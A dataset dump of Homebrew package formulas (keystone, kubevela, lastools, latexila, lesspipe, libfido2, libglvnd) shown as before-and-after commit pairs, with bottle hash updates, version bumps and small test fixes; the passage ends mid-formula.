CombinedText
stringlengths
4
3.42M
class Keystone < Formula desc "Assembler framework: Core + bindings" homepage "https://www.keystone-engine.org/" url "https://github.com/keystone-engine/keystone/archive/0.9.2.tar.gz" sha256 "c9b3a343ed3e05ee168d29daf89820aff9effb2c74c6803c2d9e21d55b5b7c24" head "https://github.com/keystone-engine/keystone.git" bottle do cellar :any_skip_relocation sha256 "75683abbb09ac9e29703e7ce788a86e010a53fea0437fe5c531f75efbc10a048" => :catalina sha256 "c914d5799915bc7c40fa1e82a407d8e40dcc583c904a3da24042b1a4abdeb5bc" => :mojave sha256 "bb281d9882f991ce15f0c7c421af9af9ed7f9ac1d563bc6bbe5ff7ce5352617d" => :high_sierra sha256 "b6cd1a7208fa16627366dfa4ba297edbf1dba6baf01a031d830b292e0e6cd019" => :sierra sha256 "25a45e702238530539973a7a28ffdfe5aa512be3cd639b3247895d11d6f9576f" => :el_capitan end depends_on "cmake" => :build def install system "cmake", ".", *std_cmake_args system "make", "install" end test do assert_equal "nop = [ 90 ]", shell_output("#{bin}/kstool x16 nop").strip end end keystone: update 0.9.2 bottle. class Keystone < Formula desc "Assembler framework: Core + bindings" homepage "https://www.keystone-engine.org/" url "https://github.com/keystone-engine/keystone/archive/0.9.2.tar.gz" sha256 "c9b3a343ed3e05ee168d29daf89820aff9effb2c74c6803c2d9e21d55b5b7c24" head "https://github.com/keystone-engine/keystone.git" bottle do cellar :any_skip_relocation sha256 "84cdef2aa8a5697ce2fc62e6ae1316f2dcca6fcd0f92d2bba68b399af9c48440" => :catalina sha256 "814feeee85e111a21fdd287fbed3fca3e1cd86be396dcba7612c3e1aec7dd4d3" => :mojave sha256 "77740af9b9e48baaf0a7d1dc4d74b883c1babbaab6a7e9bf65a00035b59c546d" => :high_sierra end depends_on "cmake" => :build def install system "cmake", ".", *std_cmake_args system "make", "install" end test do assert_equal "nop = [ 90 ]", shell_output("#{bin}/kstool x16 nop").strip end end
class Kubevela < Formula desc "Application Platform based on Kubernetes and Open Application Model" homepage "https://kubevela.io" url "https://github.com/kubevela/kubevela.git", tag: "v1.5.6", revision: "4c525f8e5d51358551418d49e64ef9fdd2885367" license "Apache-2.0" head "https://github.com/kubevela/kubevela.git", branch: "master" bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "1b970bacc9cd48070eae58a42eee07b2ddddac0fed70145a56997d41fec4ff7e" sha256 cellar: :any_skip_relocation, arm64_big_sur: "1b970bacc9cd48070eae58a42eee07b2ddddac0fed70145a56997d41fec4ff7e" sha256 cellar: :any_skip_relocation, monterey: "c0dcb8d2ebdd55c3879abf7b81099409b07d00557ac6da239e2e8a626d42baa7" sha256 cellar: :any_skip_relocation, big_sur: "c0dcb8d2ebdd55c3879abf7b81099409b07d00557ac6da239e2e8a626d42baa7" sha256 cellar: :any_skip_relocation, catalina: "c0dcb8d2ebdd55c3879abf7b81099409b07d00557ac6da239e2e8a626d42baa7" sha256 cellar: :any_skip_relocation, x86_64_linux: "614ac89fb69fcd611f47915304ef29491a3fc6c9fa736dc671229033b2f3d760" end depends_on "go" => :build def install ENV["CGO_ENABLED"] = "0" ldflags = %W[ -s -w -X github.com/oam-dev/kubevela/version.VelaVersion=#{version} -X github.com/oam-dev/kubevela/version.GitRevision=#{Utils.git_head} ] system "go", "build", *std_go_args(output: bin/"vela", ldflags: ldflags), "./references/cmd/cli" generate_completions_from_executable(bin/"vela", "completion", shells: [:bash, :zsh], base_name: "vela") end test do # Should error out as vela up need kubeconfig status_output = shell_output("#{bin}/vela up 2>&1", 1) assert_match "error: no configuration has been provided", status_output (testpath/"kube-config").write <<~EOS apiVersion: v1 clusters: - cluster: certificate-authority-data: test server: http://127.0.0.1:8080 name: test contexts: - context: cluster: test user: test name: test current-context: test kind: Config preferences: {} users: - name: test user: token: test EOS ENV["KUBECONFIG"] = testpath/"kube-config" version_output = shell_output("#{bin}/vela version 2>&1") assert_match "Version: #{version}", version_output end end kubevela 1.5.7 Closes #113280. Signed-off-by: Sean Molenaar <2b250e3fea88cfef248b497ad5fc17f7dc435154@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Kubevela < Formula desc "Application Platform based on Kubernetes and Open Application Model" homepage "https://kubevela.io" url "https://github.com/kubevela/kubevela.git", tag: "v1.5.7", revision: "18d755ed726ad98bc018569dd0348142050ea386" license "Apache-2.0" head "https://github.com/kubevela/kubevela.git", branch: "master" bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "1b970bacc9cd48070eae58a42eee07b2ddddac0fed70145a56997d41fec4ff7e" sha256 cellar: :any_skip_relocation, arm64_big_sur: "1b970bacc9cd48070eae58a42eee07b2ddddac0fed70145a56997d41fec4ff7e" sha256 cellar: :any_skip_relocation, monterey: "c0dcb8d2ebdd55c3879abf7b81099409b07d00557ac6da239e2e8a626d42baa7" sha256 cellar: :any_skip_relocation, big_sur: "c0dcb8d2ebdd55c3879abf7b81099409b07d00557ac6da239e2e8a626d42baa7" sha256 cellar: :any_skip_relocation, catalina: "c0dcb8d2ebdd55c3879abf7b81099409b07d00557ac6da239e2e8a626d42baa7" sha256 cellar: :any_skip_relocation, x86_64_linux: "614ac89fb69fcd611f47915304ef29491a3fc6c9fa736dc671229033b2f3d760" end depends_on "go" => :build def install ENV["CGO_ENABLED"] = "0" ldflags = %W[ -s -w -X github.com/oam-dev/kubevela/version.VelaVersion=#{version} -X github.com/oam-dev/kubevela/version.GitRevision=#{Utils.git_head} ] system "go", "build", *std_go_args(output: bin/"vela", ldflags: ldflags), "./references/cmd/cli" generate_completions_from_executable(bin/"vela", "completion", shells: [:bash, :zsh], base_name: "vela") end test do # Should error out as vela up need kubeconfig status_output = shell_output("#{bin}/vela up 2>&1", 1) assert_match "error: no configuration has been provided", status_output (testpath/"kube-config").write <<~EOS apiVersion: v1 clusters: - cluster: certificate-authority-data: test server: http://127.0.0.1:8080 name: test contexts: - context: cluster: test user: test name: test current-context: test kind: Config preferences: {} users: - name: test user: token: test EOS ENV["KUBECONFIG"] = testpath/"kube-config" version_output = shell_output("#{bin}/vela version 2>&1") assert_match "Version: #{version}", version_output end end
class Kubevela < Formula desc "Application Platform based on Kubernetes and Open Application Model" homepage "https://kubevela.io" url "https://github.com/oam-dev/kubevela.git", tag: "v0.3.4", revision: "52e3893bf3362ab856f68794d42e5dd6bff0cb2e" license "Apache-2.0" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "e53a13f527009b04b5e3e5eca85712be5155d8fdc1bfaf2d3f3f45c6918b2a8d" sha256 cellar: :any_skip_relocation, big_sur: "0c81d1576af91ec63d802d5bcae5802558813bc8cc109371340fff6d80603820" sha256 cellar: :any_skip_relocation, catalina: "9abdfb74042278faa52fe950e7553e9197261680f8c330076371529b9d27e7e0" sha256 cellar: :any_skip_relocation, mojave: "5d219fb7a90083ee6a2b214d0ea558550d70abf29e6593cfc848129e8171561e" end depends_on "go" => :build def install system "make", "vela-cli", "VELA_VERSION=#{version}" bin.install "bin/vela" # Install bash completion output = Utils.safe_popen_read("#{bin}/vela", "completion", "bash") (bash_completion/"vela").write output # Install zsh completion output = Utils.safe_popen_read("#{bin}/vela", "completion", "zsh") (zsh_completion/"_vela").write output end test do # Should error out as vela up need kubeconfig status_output = shell_output("#{bin}/vela up 2>&1", 1) assert_match "Error: invalid configuration: no configuration has been provided", status_output end end kubevela: update 0.3.4 bottle. class Kubevela < Formula desc "Application Platform based on Kubernetes and Open Application Model" homepage "https://kubevela.io" url "https://github.com/oam-dev/kubevela.git", tag: "v0.3.4", revision: "52e3893bf3362ab856f68794d42e5dd6bff0cb2e" license "Apache-2.0" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "12c2fdbf365cc6572ada95c7362ef9d3a121636c015c09c79e5493b64824cf75" sha256 cellar: :any_skip_relocation, big_sur: "2835fb3e65cdbf6ce0f876fa62a3654eaee6bc69a0ee8604d1e308e4f0854263" sha256 cellar: :any_skip_relocation, catalina: "cf1942e9448ab8a1e8b972f9c130cef2488b5e4b303ad34a21785c9eff3d0403" sha256 cellar: :any_skip_relocation, mojave: "0f5e224da4fdf09bdca0a4becb6847e70e2f3ac48e5d7eeddc20e4eb176097fc" end depends_on "go" => :build def install system "make", "vela-cli", "VELA_VERSION=#{version}" bin.install "bin/vela" # Install bash completion output = Utils.safe_popen_read("#{bin}/vela", "completion", "bash") (bash_completion/"vela").write output # Install zsh completion output = Utils.safe_popen_read("#{bin}/vela", "completion", "zsh") (zsh_completion/"_vela").write output end test do # Should error out as vela up need kubeconfig status_output = shell_output("#{bin}/vela up 2>&1", 1) assert_match "Error: invalid configuration: no configuration has been provided", status_output end end
class Lastools < Formula desc "Efficient tools for LiDAR processing. Contains LASlib, a C++ programming API for reading / writing LIDAR data stored in standard LAS format" homepage "https://rapidlasso.com/lastools" # http://lastools.org # url "http://lastools.org/download/LAStools.zip" # wine # sha256 "2d7a7b6a232c953dd73505e25c33f2cb6b7765342eb2522e9b0dc8bed62d0890" url "https://github.com/LAStools/LAStools.git", :branch => "master", :commit => "e2a8973ac27432c6e5d09bb3aadf2e1a5c797c9c" version "19.01.14" # revision 1 head "https://github.com/LAStools/LAStools.git", :branch => "master" option "with-wine", "Use Wine to have more support" depends_on "cmake" => :build if build.with? "wine" depends_on "wine" depends_on :x11 end def install mkdir "build" do system "cmake", "..", *std_cmake_args system "make", "install" end ln_s "#{bin}/las2las64", "#{bin}/las2las" ln_s "#{bin}/las2txt64", "#{bin}/las2txt" ln_s "#{bin}/lasdiff64", "#{bin}/lasdiff" ln_s "#{bin}/lasindex64", "#{bin}/lasindex" ln_s "#{bin}/lasinfo64", "#{bin}/lasinfo" ln_s "#{bin}/lasmerge64", "#{bin}/lasmerge" ln_s "#{bin}/lasprecision64", "#{bin}/lasprecision" ln_s "#{bin}/laszip64", "#{bin}/laszip" ln_s "#{bin}/txt2las64", "#{bin}/txt2las" # Pkg-Config file mkdir "#{lib}/pkgconfig" File.open("#{lib}/pkgconfig/laslib.pc", "w") { |file| file << "Name: laslib\n" file << "Description: C++ programming API for reading / writing LIDAR data\n" file << "Version: #{version}\n" file << "Libs: -L\${libdir} -llas\n" file << "Cflags: -I${includedir}\n" # file << "Requires:" } end def caveats if build.with? "wine" <<~EOS \n1 - \e[32mDownload and unzip LASTools. Remember where you unzipped it.\e[0m\n 2 - \e[32mYou’re almost done. Start QGIS. Select Processing/Options.\e[0m\n \e[32mIn the Providers section scroll to “LASTools”. Fill out the blanks:\e[0m\n \033[31mLASTools folder:\e[0m LASTools directory\n \033[31mWine Folder:\e[0m #{HOMEBREW_PREFIX}/bin\n https://rapidlasso.com/2014/10/04/using-lastools-on-mac-os-x-with-wine/\n https://rapidlasso.com/2013/09/29/how-to-install-lastools-toolbox-in-qgis/\n http://gis.ubc.ca/2018/02/installing-lastools-for-lidar-data-in-qgis-for-mac/\n EOS else <<~EOS You can use the \e[32m--with-wine\e[0m version for more support.\n EOS end end test do # TODO end end Updated bottles for: lastools Committed for JF Perini<21315242+fjperini@users.noreply.github.com> [ci skip] class Lastools < Formula desc "Efficient tools for LiDAR processing. Contains LASlib, a C++ programming API for reading / writing LIDAR data stored in standard LAS format" bottle do root_url "https://dl.bintray.com/homebrew-osgeo/osgeo-bottles" cellar :any_skip_relocation sha256 "323cb55abbc4494c3d9c08ce12610caf0d8dbd4a74f9d9dfb02d64a3955ef476" => :mojave sha256 "323cb55abbc4494c3d9c08ce12610caf0d8dbd4a74f9d9dfb02d64a3955ef476" => :high_sierra sha256 "323cb55abbc4494c3d9c08ce12610caf0d8dbd4a74f9d9dfb02d64a3955ef476" => :sierra end homepage "https://rapidlasso.com/lastools" # http://lastools.org # url "http://lastools.org/download/LAStools.zip" # wine # sha256 "2d7a7b6a232c953dd73505e25c33f2cb6b7765342eb2522e9b0dc8bed62d0890" url "https://github.com/LAStools/LAStools.git", :branch => "master", :commit => "e2a8973ac27432c6e5d09bb3aadf2e1a5c797c9c" version "19.01.14" # revision 1 head "https://github.com/LAStools/LAStools.git", :branch => "master" option "with-wine", "Use Wine to have more support" depends_on "cmake" => :build if build.with? "wine" depends_on "wine" depends_on :x11 end def install mkdir "build" do system "cmake", "..", *std_cmake_args system "make", "install" end ln_s "#{bin}/las2las64", "#{bin}/las2las" ln_s "#{bin}/las2txt64", "#{bin}/las2txt" ln_s "#{bin}/lasdiff64", "#{bin}/lasdiff" ln_s "#{bin}/lasindex64", "#{bin}/lasindex" ln_s "#{bin}/lasinfo64", "#{bin}/lasinfo" ln_s "#{bin}/lasmerge64", "#{bin}/lasmerge" ln_s "#{bin}/lasprecision64", "#{bin}/lasprecision" ln_s "#{bin}/laszip64", "#{bin}/laszip" ln_s "#{bin}/txt2las64", "#{bin}/txt2las" # Pkg-Config file mkdir "#{lib}/pkgconfig" File.open("#{lib}/pkgconfig/laslib.pc", "w") { |file| file << "Name: laslib\n" file << "Description: C++ programming API for reading / writing LIDAR data\n" file << "Version: #{version}\n" file << "Libs: -L\${libdir} -llas\n" file << "Cflags: -I${includedir}\n" # file << "Requires:" } end def caveats if build.with? "wine" <<~EOS \n1 - \e[32mDownload and unzip LASTools. Remember where you unzipped it.\e[0m\n 2 - \e[32mYou’re almost done. Start QGIS. Select Processing/Options.\e[0m\n \e[32mIn the Providers section scroll to “LASTools”. Fill out the blanks:\e[0m\n \033[31mLASTools folder:\e[0m LASTools directory\n \033[31mWine Folder:\e[0m #{HOMEBREW_PREFIX}/bin\n https://rapidlasso.com/2014/10/04/using-lastools-on-mac-os-x-with-wine/\n https://rapidlasso.com/2013/09/29/how-to-install-lastools-toolbox-in-qgis/\n http://gis.ubc.ca/2018/02/installing-lastools-for-lidar-data-in-qgis-for-mac/\n EOS else <<~EOS You can use the \e[32m--with-wine\e[0m version for more support.\n EOS end end test do # TODO end end
class Latexila < Formula desc "LaTeX editor for the GNOME desktop" homepage "https://wiki.gnome.org/Apps/LaTeXila" url "https://download.gnome.org/sources/latexila/3.24/latexila-3.24.0.tar.xz" sha256 "2c47d6bf0a647715a3029af2b38099e9dac0c4a0a60c122917b36afd3f6ce31f" bottle do sha256 "ed89fce16151b4f639aace9da401b28d9a97b6e7d431d0db0501d463f91b1282" => :sierra sha256 "d72177928abac4aea9e52704c5d8b6b8c8b86a6683f05968c3010a6fcda048a1" => :el_capitan sha256 "1f9b9bac1620676ded276ba07255fb6bf33bb9ac88018453f4d9dde8b0a970e6" => :yosemite end depends_on "pkg-config" => :build depends_on "intltool" => :build depends_on "itstool" => :build depends_on "vala" => :build depends_on "gtksourceview3" depends_on "gspell" depends_on "gtef" depends_on "libgee" depends_on "gobject-introspection" depends_on "gnome-icon-theme" depends_on "gnome-themes-standard" => :optional depends_on "libxml2" depends_on :python if MacOS.version <= :snow_leopard def install ENV.append_path "PYTHONPATH", "#{Formula["libxml2"].opt_lib}/python2.7/site-packages" system "./configure", "--disable-schemas-compile", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end def post_install system "#{Formula["glib"].opt_bin}/glib-compile-schemas", "#{HOMEBREW_PREFIX}/share/glib-2.0/schemas" system "#{Formula["gtk+3"].opt_bin}/gtk3-update-icon-cache", "-f", "-t", "#{HOMEBREW_PREFIX}/share/icons/hicolor" # HighContrast is provided by gnome-themes-standard if File.file?("#{HOMEBREW_PREFIX}/share/icons/HighContrast/.icon-theme.cache") system "#{Formula["gtk+3"].opt_bin}/gtk3-update-icon-cache", "-f", "-t", "#{HOMEBREW_PREFIX}/share/icons/HighContrast" end end test do system "#{bin}/latexila", "--version" end end latexila: update 3.24.0 bottle. class Latexila < Formula desc "LaTeX editor for the GNOME desktop" homepage "https://wiki.gnome.org/Apps/LaTeXila" url "https://download.gnome.org/sources/latexila/3.24/latexila-3.24.0.tar.xz" sha256 "2c47d6bf0a647715a3029af2b38099e9dac0c4a0a60c122917b36afd3f6ce31f" bottle do rebuild 1 sha256 "bb9a1ed091c130d5c939c0273f853fc04724609d1c08fba9a4bff33691e07343" => :sierra sha256 "2f92b76b866896363d479f619bcb0527216f3e2e0e8d0a4c2e09ccc7a23a5800" => :el_capitan sha256 "310d9a315b33c3fddde9f2047bf345b0fbd4746796232492a9c41feca040bace" => :yosemite end depends_on "pkg-config" => :build depends_on "intltool" => :build depends_on "itstool" => :build depends_on "vala" => :build depends_on "gtksourceview3" depends_on "gspell" depends_on "gtef" depends_on "libgee" depends_on "gobject-introspection" depends_on "gnome-icon-theme" depends_on "gnome-themes-standard" => :optional depends_on "libxml2" depends_on :python if MacOS.version <= :snow_leopard def install ENV.append_path "PYTHONPATH", "#{Formula["libxml2"].opt_lib}/python2.7/site-packages" system "./configure", "--disable-schemas-compile", "--disable-dependency-tracking", "--disable-silent-rules", "--prefix=#{prefix}" system "make", "install" end def post_install system "#{Formula["glib"].opt_bin}/glib-compile-schemas", "#{HOMEBREW_PREFIX}/share/glib-2.0/schemas" system "#{Formula["gtk+3"].opt_bin}/gtk3-update-icon-cache", "-f", "-t", "#{HOMEBREW_PREFIX}/share/icons/hicolor" # HighContrast is provided by gnome-themes-standard if File.file?("#{HOMEBREW_PREFIX}/share/icons/HighContrast/.icon-theme.cache") system "#{Formula["gtk+3"].opt_bin}/gtk3-update-icon-cache", "-f", "-t", "#{HOMEBREW_PREFIX}/share/icons/HighContrast" end end test do system "#{bin}/latexila", "--version" end end
class Lesspipe < Formula desc "Input filter for the pager less" homepage "https://www-zeuthen.desy.de/~friebel/unix/lesspipe.html" url "https://downloads.sourceforge.net/project/lesspipe/lesspipe/1.82/lesspipe-1.82.tar.gz" sha256 "3fd345b15d46cc8fb0fb1d625bf8d881b0637abc34d15df45243fd4e5a8f4241" bottle do cellar :any_skip_relocation sha256 "b3a9fa67a70fda46dfe9dd365430fe958d19d4f516d7f218da19fcd8ed17f215" => :el_capitan sha256 "3a8e56f9b9b38d291d57f3a702e0dfb488814fb4686594084aa10a97f0cf2448" => :yosemite sha256 "f33d17225509888d6193b1c5bac74577168d57cccd274065d195c9661774c68a" => :mavericks sha256 "201d33d2ae2aff83e00bbcea23bf872f2a20938ba194d175426837fc041117c0" => :mountain_lion end option "with-syntax-highlighting", "Build with syntax highlighting" deprecated_option "syntax-highlighting" => "with-syntax-highlighting" def install if build.with? "syntax-highlighting" inreplace "configure", '$ifsyntax = "\L$ifsyntax";', '$ifsyntax = "\Ly";' end system "./configure", "--prefix=#{prefix}", "--yes" man1.mkpath system "make", "install" end test do touch "file1.txt" touch "file2.txt" system "tar", "-cvzf", "homebrew.tar.gz", "file1.txt", "file2.txt" assert File.exist?("homebrew.tar.gz") assert_match /file2.txt/, shell_output("tar tvzf homebrew.tar.gz | #{bin}/tarcolor") end end lesspipe: update 1.82 bottle. class Lesspipe < Formula desc "Input filter for the pager less" homepage "https://www-zeuthen.desy.de/~friebel/unix/lesspipe.html" url "https://downloads.sourceforge.net/project/lesspipe/lesspipe/1.82/lesspipe-1.82.tar.gz" sha256 "3fd345b15d46cc8fb0fb1d625bf8d881b0637abc34d15df45243fd4e5a8f4241" bottle do cellar :any_skip_relocation sha256 "a2b91ae997ac547fae38a9c0dfe128d941a5f7b8842ed2d38010cf3f9e13f17e" => :sierra sha256 "b3a9fa67a70fda46dfe9dd365430fe958d19d4f516d7f218da19fcd8ed17f215" => :el_capitan sha256 "3a8e56f9b9b38d291d57f3a702e0dfb488814fb4686594084aa10a97f0cf2448" => :yosemite sha256 "f33d17225509888d6193b1c5bac74577168d57cccd274065d195c9661774c68a" => :mavericks sha256 "201d33d2ae2aff83e00bbcea23bf872f2a20938ba194d175426837fc041117c0" => :mountain_lion end option "with-syntax-highlighting", "Build with syntax highlighting" deprecated_option "syntax-highlighting" => "with-syntax-highlighting" def install if build.with? "syntax-highlighting" inreplace "configure", '$ifsyntax = "\L$ifsyntax";', '$ifsyntax = "\Ly";' end system "./configure", "--prefix=#{prefix}", "--yes" man1.mkpath system "make", "install" end test do touch "file1.txt" touch "file2.txt" system "tar", "-cvzf", "homebrew.tar.gz", "file1.txt", "file2.txt" assert File.exist?("homebrew.tar.gz") assert_match /file2.txt/, shell_output("tar tvzf homebrew.tar.gz | #{bin}/tarcolor") end end
class Libfido2 < Formula desc "Provides library functionality for FIDO U2F & FIDO 2.0, including USB" homepage "https://developers.yubico.com/libfido2/" url "https://github.com/Yubico/libfido2/archive/1.6.0.tar.gz" sha256 "6aed47aafd22be49c38f9281fb88ccd08c98678d9b8c39cdc87d1bb3ea2c63e4" license "BSD-2-Clause" bottle do cellar :any sha256 "3194f38a17f35276bb4e8863048d640a4115e5c059be92b10641f3bfe7c8e0c3" => :big_sur sha256 "7325754f60c62f8015cdbdd2d8c301f3b3caec734f01f23f6f62a4d4347b6fe1" => :catalina sha256 "4349516e03fb119f1acf3e06604501e2906c4eb030e8260fdaa786f651ddb05e" => :mojave end depends_on "cmake" => :build depends_on "mandoc" => :build depends_on "pkg-config" => :build depends_on "libcbor" depends_on "openssl@1.1" on_linux do depends_on "systemd" # for libudev end def install mkdir "build" do system "cmake", "..", ("-DUDEV_RULES_DIR=#{lib}/udev/rules.d" unless OS.mac?), *std_cmake_args system "make" system "make", "man_symlink_html" system "make", "man_symlink" system "make", "install" end end test do (testpath/"test.c").write <<-EOF #include <stddef.h> #include <stdio.h> #include <fido.h> int main(void) { fido_init(FIDO_DEBUG); // Attempt to enumerate up to five FIDO/U2F devices. Five is an arbitrary number. size_t max_devices = 5; fido_dev_info_t *devlist; if ((devlist = fido_dev_info_new(max_devices)) == NULL) return 1; size_t found_devices = 0; int error; if ((error = fido_dev_info_manifest(devlist, max_devices, &found_devices)) == FIDO_OK) printf("FIDO/U2F devices found: %s\\n", found_devices ? "Some" : "None"); fido_dev_info_free(&devlist, max_devices); } EOF system ENV.cc, "-std=c99", "test.c", "-I#{include}", "-I#{Formula["openssl@1.1"].include}", "-o", "test", "-L#{lib}", "-lfido2" system "./test" end end libfido2: update 1.6.0 bottle. class Libfido2 < Formula desc "Provides library functionality for FIDO U2F & FIDO 2.0, including USB" homepage "https://developers.yubico.com/libfido2/" url "https://github.com/Yubico/libfido2/archive/1.6.0.tar.gz" sha256 "6aed47aafd22be49c38f9281fb88ccd08c98678d9b8c39cdc87d1bb3ea2c63e4" license "BSD-2-Clause" bottle do cellar :any sha256 "3194f38a17f35276bb4e8863048d640a4115e5c059be92b10641f3bfe7c8e0c3" => :big_sur sha256 "7325754f60c62f8015cdbdd2d8c301f3b3caec734f01f23f6f62a4d4347b6fe1" => :catalina sha256 "4349516e03fb119f1acf3e06604501e2906c4eb030e8260fdaa786f651ddb05e" => :mojave sha256 "2ccb485efe76fe1484e679e48fc19b755c856db6db2b431a693af576bf5a9dc1" => :x86_64_linux end depends_on "cmake" => :build depends_on "mandoc" => :build depends_on "pkg-config" => :build depends_on "libcbor" depends_on "openssl@1.1" on_linux do depends_on "systemd" # for libudev end def install mkdir "build" do system "cmake", "..", ("-DUDEV_RULES_DIR=#{lib}/udev/rules.d" unless OS.mac?), *std_cmake_args system "make" system "make", "man_symlink_html" system "make", "man_symlink" system "make", "install" end end test do (testpath/"test.c").write <<-EOF #include <stddef.h> #include <stdio.h> #include <fido.h> int main(void) { fido_init(FIDO_DEBUG); // Attempt to enumerate up to five FIDO/U2F devices. Five is an arbitrary number. size_t max_devices = 5; fido_dev_info_t *devlist; if ((devlist = fido_dev_info_new(max_devices)) == NULL) return 1; size_t found_devices = 0; int error; if ((error = fido_dev_info_manifest(devlist, max_devices, &found_devices)) == FIDO_OK) printf("FIDO/U2F devices found: %s\\n", found_devices ? "Some" : "None"); fido_dev_info_free(&devlist, max_devices); } EOF system ENV.cc, "-std=c99", "test.c", "-I#{include}", "-I#{Formula["openssl@1.1"].include}", "-o", "test", "-L#{lib}", "-lfido2" system "./test" end end
class Libfido2 < Formula desc "Provides library functionality for FIDO U2F & FIDO 2.0, including USB" homepage "https://developers.yubico.com/libfido2/" url "https://github.com/Yubico/libfido2/archive/1.7.0.tar.gz" sha256 "116749b2a6c95f6559439494fcebdbe803dff14037017ad239843c84c59d708e" license "BSD-2-Clause" bottle do sha256 cellar: :any, arm64_big_sur: "fe17a918d775bae8edc3979fd738e74facfe1f8973abdfcd61156d9d4a434c1f" sha256 cellar: :any, big_sur: "d8c08675127341e5722cc32655264db3302452236b8cf0f2c50df3482c3aa4fa" sha256 cellar: :any, catalina: "23f50861ba90e4741bb83ef2eb0528d5c857ae8d1de3b419c76ffb4605244b7e" sha256 cellar: :any, mojave: "2c8b902da49a858e8c6ab479e63bf2138515ceb3d98c0ae4e36631bf06901c9e" end depends_on "cmake" => :build depends_on "mandoc" => :build depends_on "pkg-config" => :build depends_on "libcbor" depends_on "openssl@1.1" on_linux do depends_on "systemd" # for libudev end def install mkdir "build" do system "cmake", "..", ("-DUDEV_RULES_DIR=#{lib}/udev/rules.d" unless OS.mac?), *std_cmake_args system "make" system "make", "man_symlink_html" system "make", "man_symlink" system "make", "install" end end test do (testpath/"test.c").write <<-EOF #include <stddef.h> #include <stdio.h> #include <fido.h> int main(void) { fido_init(FIDO_DEBUG); // Attempt to enumerate up to five FIDO/U2F devices. Five is an arbitrary number. size_t max_devices = 5; fido_dev_info_t *devlist; if ((devlist = fido_dev_info_new(max_devices)) == NULL) return 1; size_t found_devices = 0; int error; if ((error = fido_dev_info_manifest(devlist, max_devices, &found_devices)) == FIDO_OK) printf("FIDO/U2F devices found: %s\\n", found_devices ? "Some" : "None"); fido_dev_info_free(&devlist, max_devices); } EOF system ENV.cc, "-std=c99", "test.c", "-I#{include}", "-I#{Formula["openssl@1.1"].include}", "-o", "test", "-L#{lib}", "-lfido2" system "./test" end end libfido2: Fix test for Linux Fixes: /home/linuxbrew/.linuxbrew/Cellar/libfido2/1.7.0/include/fido/types.h:54:9: error: unknown type name ‘sigset_t’ typedef sigset_t fido_sigset_t; Closes #22779. Signed-off-by: Michka Popoff <5d406f95fb0e0230f83654e4a22d0115cc205d59@users.noreply.github.com> class Libfido2 < Formula desc "Provides library functionality for FIDO U2F & FIDO 2.0, including USB" homepage "https://developers.yubico.com/libfido2/" url "https://github.com/Yubico/libfido2/archive/1.7.0.tar.gz" sha256 "116749b2a6c95f6559439494fcebdbe803dff14037017ad239843c84c59d708e" license "BSD-2-Clause" bottle do sha256 cellar: :any, arm64_big_sur: "fe17a918d775bae8edc3979fd738e74facfe1f8973abdfcd61156d9d4a434c1f" sha256 cellar: :any, big_sur: "d8c08675127341e5722cc32655264db3302452236b8cf0f2c50df3482c3aa4fa" sha256 cellar: :any, catalina: "23f50861ba90e4741bb83ef2eb0528d5c857ae8d1de3b419c76ffb4605244b7e" sha256 cellar: :any, mojave: "2c8b902da49a858e8c6ab479e63bf2138515ceb3d98c0ae4e36631bf06901c9e" end depends_on "cmake" => :build depends_on "mandoc" => :build depends_on "pkg-config" => :build depends_on "libcbor" depends_on "openssl@1.1" on_linux do depends_on "systemd" # for libudev end def install mkdir "build" do system "cmake", "..", ("-DUDEV_RULES_DIR=#{lib}/udev/rules.d" unless OS.mac?), *std_cmake_args system "make" system "make", "man_symlink_html" system "make", "man_symlink" system "make", "install" end end test do (testpath/"test.c").write <<-EOF #include <stddef.h> #include <stdio.h> #include <fido.h> int main(void) { fido_init(FIDO_DEBUG); // Attempt to enumerate up to five FIDO/U2F devices. Five is an arbitrary number. size_t max_devices = 5; fido_dev_info_t *devlist; if ((devlist = fido_dev_info_new(max_devices)) == NULL) return 1; size_t found_devices = 0; int error; if ((error = fido_dev_info_manifest(devlist, max_devices, &found_devices)) == FIDO_OK) printf("FIDO/U2F devices found: %s\\n", found_devices ? "Some" : "None"); fido_dev_info_free(&devlist, max_devices); } EOF system ENV.cc, "test.c", "-I#{include}", "-I#{Formula["openssl@1.1"].include}", "-o", "test", "-L#{lib}", "-lfido2" system "./test" end end
class Libglvnd < Formula desc "GL Vendor-Neutral Dispatch library" homepage "https://github.com/NVIDIA/libglvnd" url "https://github.com/NVIDIA/libglvnd.git" version "07262016" bottle do sha256 "0eddfa4d5ad43b3365900d84507c42061831b082fbbb027759c06a8ceda8bc5c" => :x86_64_linux end option "with-static", "Build static libraries (not recommended)" depends_on "pkg-config" => :build depends_on "linuxbrew/xorg/util-macros" => :build depends_on "autoconf" => :build depends_on "libtool" => :build depends_on "linuxbrew/xorg/libx11" depends_on "linuxbrew/xorg/libxext" depends_on "linuxbrew/xorg/glproto" => :build def install args = %W[ --prefix=#{prefix} --sysconfdir=#{etc} --localstatedir=#{var} --disable-dependency-tracking --disable-silent-rules ] # Be explicit about the configure flags args << "--enable-static=#{build.with?("static") ? "yes" : "no"}" system "./autogen.sh" system "./configure", *args system "make" system "make", "install" end end libglvnd 1.1.0 class Libglvnd < Formula desc "GL Vendor-Neutral Dispatch library" homepage "https://github.com/NVIDIA/libglvnd" url "https://github.com/NVIDIA/libglvnd/releases/download/v1.1.0/libglvnd-1.1.0.tar.gz" sha256 "f5a74598e769d55d652c464cb6507437dac5c2d513f16c6ddf3a1bec655a1824" head "https://github.com/NVIDIA/libglvnd.git" option "without-asm", "Build without assembly" option "without-tls", "Build without TLS support" option "with-static", "Build static libraries (not recommended)" depends_on "pkg-config" => :build depends_on "linuxbrew/xorg/util-macros" => :build depends_on "linuxbrew/xorg/libpthread-stubs" => :build depends_on "python@2" => :build if build.head? depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "linuxbrew/xorg/libx11" depends_on "linuxbrew/xorg/libxext" => :build depends_on "linuxbrew/xorg/glproto" => :build def install args = %W[ --prefix=#{prefix} --sysconfdir=#{etc} --localstatedir=#{var} --disable-dependency-tracking --disable-silent-rules --enable-static=#{build.with?("static") ? "yes" : "no"} --enable-asm=#{build.with?("asm") ? 